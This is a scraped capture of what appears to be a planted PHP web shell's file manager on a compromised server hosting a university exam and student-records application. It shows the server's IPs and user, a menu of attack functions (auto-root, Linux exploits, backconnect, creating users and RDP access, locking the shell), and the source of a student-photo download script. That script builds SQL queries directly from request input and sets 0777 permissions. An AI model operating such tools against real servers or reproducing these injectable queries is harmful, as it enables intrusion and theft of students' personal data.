Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.41.203
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nehu /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
Ext-MarkEntry-Setup.php
21.23
KB
-rw-r--r--
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
20.36
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
SelectSubjType.php
2.13
KB
-rw-rw-r--
SubjectType.php
3.64
KB
-rw-rw-r--
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
7.53
KB
-rwxr-xr-x
absent_entry_setupQpold.php
7.03
KB
-rwxr-xr-x
ack_exam_app_form.php
14.56
KB
-rwxr-xr-x
ack_rv_rt_application.php
7.55
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
9.9
KB
-rwxr-xr-x
approve.php
19.63
KB
-rwxr-xr-x
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
2.6
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
47.48
KB
-rwxr-xr-x
candidate-entry02092016.php
43.33
KB
-rwxr-xr-x
candidate-entry22.php
44.23
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
11.57
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
connect.php
2.1
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.8
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
display_details_in_grid.php
102.06
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
6.99
KB
-rwxr-xr-x
downloadFeeStatement.php
5.33
KB
-rwxr-xr-x
downloadFeeStatement22.php
4.98
KB
-rwxr-xr-x
download_misc_files.php
3.65
KB
-rwxr-xr-x
download_photo.php
4.26
KB
-rwxr-xr-x
download_photo_23072020.php
8.57
KB
-rwxr-xr-x
download_photo_bf_bcu.php
4.38
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
ext_freeze_module_at_admin_col...
8.58
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.85
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.92
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
28.66
KB
-rwxr-xr-x
getfeeinformation.php
7.03
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
13.98
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_commom.php
8.26
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
953
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
68.17
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mregistry_old.php
63.95
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
printexamform_old.php
11.73
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.21
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
student_entry.php
73.31
KB
-rwxr-xr-x
student_entry1608.php
56.6
KB
-rwxr-xr-x
student_entry_25092019.php
57.13
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
18.94
KB
-rwxr-xr-x
subjectfreez.php
12.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
76.51
KB
-rwxr-xr-x
teachers.php
13.65
KB
-rwxr-xr-x
teachersOLD.php
10.33
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
3.82
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : download_photo_23072020.php
<?php require_once(_DIR_."/../../aws/aws-autoloader.php"); use Aws\S3\S3Client; session_start(); function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function downloadAllStudentPhotos($aobj_context) { ini_set('memory_limit','300M'); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $college_from = $aobj_context->mobj_data['college_from']; $college_to = $aobj_context->mobj_data['college_to']; $degree_from = $aobj_context->mobj_data['degree_from']; $degree_to = $aobj_context->mobj_data['degree_to']; $sql_dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW())) as dateFormat,funivcode from control"; $lobj_dateFormat = $aobj_context->mobj_db->getRow($sql_dateFormat); $FUNIVCODE = $lobj_dateFormat['funivcode']; $sql_dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW()),SECOND(NOW())) as dateFormat "; $lobj_dateFormat = $aobj_context->mobj_db->getRow($sql_dateFormat); $get_studentInfo = "SELECT DISTINCT fcollcode, fdegree,fphotopath,faregno FROM studadm WHERE fdegree BETWEEN '{$degree_from}' AND '{$degree_to}' AND fcollcode BETWEEN '{$college_from}' AND '{$college_to}' ORDER BY fcollcode,fdegree"; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); //var_dump($get_studentInfo);die(); $desDirectry = $aobj_context->main_src."/tmpphotos/".$lobj_dateFormat['dateFormat'].'/'; $desDirectry = $aobj_context->main_src."/tmpphotos/".$degree_code.$lobj_dateFormat['dateFormat'].'/'; //var_dump($aobj_context->main_src); $array = substr($aobj_context->main_src, 0, -7); //$desDirectry = $array.'adm/sikkim'."/tmpphotos/".$lobj_dateFormat[dateFormat].'/'; //var_dump($desDirectry);die(); $photoDownloadCnt = 0; $s3 = S3Client::factory( array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' ) ); foreach($lobj_get_studentInfo as $key=>$value) { /* $fcollcode = $value['fcollcode']; $fdegree = $value['fdegree']; $fdegree = strtolower($fdegree); //$url = str_replace('student/kusdde','kusdde',$url); $fURI = $array."adm/sikkim/student_photos/".$fcollcode."/".$fdegree; //var_dump($fURI);die(); if(!is_dir($desDirectry)) { mkdir($desDirectry); chmod($desDirectry,0777); } $subdir = $desDirectry.'/'.$fcollcode; if(!is_dir($subdir)) { mkdir($subdir); chmod($subdir,0777); } $maindir = $subdir."/".$fdegree; if(!is_dir($maindir)) { mkdir($maindir); chmod($maindir,0777); } //var_dump($maindir);die(); copyfolder("{$fURI}", "{$maindir}"); */ // $fURI =''; // $photo_path = $funivcode.'/'.$value['fphotopath']; // $file_name=replaceChars(basename($photo_path)); // if(!empty($photo_path) && file_exists($photo_path)) // { // $fURI = $photo_path; // } // if(!is_dir($desDirectry)) // { // mkdir($desDirectry); // chmod($desDirectry,0777); // } // $regno_index = $value['faregno']; // $ext = pathinfo($file_name, PATHINFO_EXTENSION); // $full_file_path= $desDirectry.$regno_index.".".$ext; // $fURI = $funivcode.'/'.$value['fphotopath']; // if (file_exists($fURI)) // { // $target_file = $full_file_path;// Path to a local file // if (file_exists( $target_file )) // { // $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n"; // } // else // { // $ifmodhdr = ''; // } // //$rc = copy( $fURI, $target_file); // var_dump($fURI); // $rc = $s3->getObject(['Bucket' => STUDENT_PHOTOS_BUCKET, 'Key' => $fURI, 'SaveAs' => $target_file]); // if($rc) // { // $photoDownloadCnt++; // if ( fclose( $rc ) ) // { // unset( $err ); // } // else // { // $err = error_get_last(); // } // } // else // { // $err = error_get_last(); // } $fURI =''; $photo_path = $value['fphotopath']; $file_name=replaceChars(basename($photo_path)); $fURI = $FUNIVCODE.'/'.$photo_path; //var_dump($fURI); //die(); if(!is_dir($desDirectry)) { mkdir($desDirectry); chmod($desDirectry,0777); } $regno_index = $value['faregno']; $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path= $desDirectry.$regno_index.".".$ext; $target_file = $full_file_path;// Path to a local file if (file_exists( $target_file )) { $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n"; } else { $ifmodhdr = ''; } // $rc = copy( $fURI, $target_file); $rc = $s3->getObject(['Bucket' => STUDENT_PHOTOS_BUCKET, 'Key' => $fURI, 'SaveAs' => $target_file]); // var_dump($rc); // var_dump($target_file); // die(); // if($rc) // { // $photoDownloadCnt++; // if ( fclose( $rc ) ) // { // unset( $err ); // } // else // { // $err = error_get_last(); // } // } // else // { // $err = error_get_last(); // } } $the_folder = $desDirectry; $zip_file_name = "tmpphotos/"."{$lobj_dateFormat[dateFormat]}.zip"; $download_file= true; $za = new FlxZipArchive; $res = $za->open($zip_file_name, ZipArchive::CREATE); if($res === TRUE) { $za->addDir($the_folder, basename($the_folder)); $za->close(); } else { echo 'Could not create a zip archive'; } if($download_file) { ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zip_file_name)); readfile($zip_file_name); } /* $the_folder = $desDirectry; $zip_file_name = "tmpphotos/"."{$degree_code}{$lobj_dateFormat[dateFormat]}.zip"; $download_file= true; $za = new FlxZipArchive; $res = $za->open($zip_file_name, ZipArchive::CREATE); if($res === TRUE) { $za->addDir($the_folder, basename($the_folder)); $za->close(); } else { echo 'Could not create a zip archive'; } if($download_file) { ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zip_file_name)); readfile($zip_file_name); } */ } function copyfolder($source, $destination) { $directory = opendir($source); //Create the copy folder location mkdir($destination); //Scan through the folder one file at a time while(($file = readdir($directory)) != false) { //Copy each individual file copy($source.'/' .$file, $destination.'/'.$file); } closedir($directory); closedir($destination); } function checkphoto($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_from = $aobj_context->mobj_data['college_from']; $college_to = $aobj_context->mobj_data['college_to']; $degree_from = $aobj_context->mobj_data['degree_from']; $degree_to = $aobj_context->mobj_data['degree_to']; $get_studentInfo = "SELECT DISTINCT fcollcode, fdegree FROM studadm WHERE fdegree BETWEEN '{$degree_from}' AND '{$degree_to}' AND fcollcode BETWEEN '{$college_from}' AND '{$college_to}' ORDER BY fcollcode,fdegree"; $lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo); if(count($lobj_get_studentInfo) > 0) { $arr = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"success"); } } class FlxZipArchive extends ZipArchive { public function addDir($location, $name) { $this->addDirDo($location, $name); } private function addDirDo($location, $name) { $name .= '/'; $location .= '/'; $dir = opendir ($location); while ($file = readdir($dir)) { if ($file == '.' || $file == '..') continue; // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File(); $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile'; $this->$do($location . $file, $name . $file); } } } ?>
Close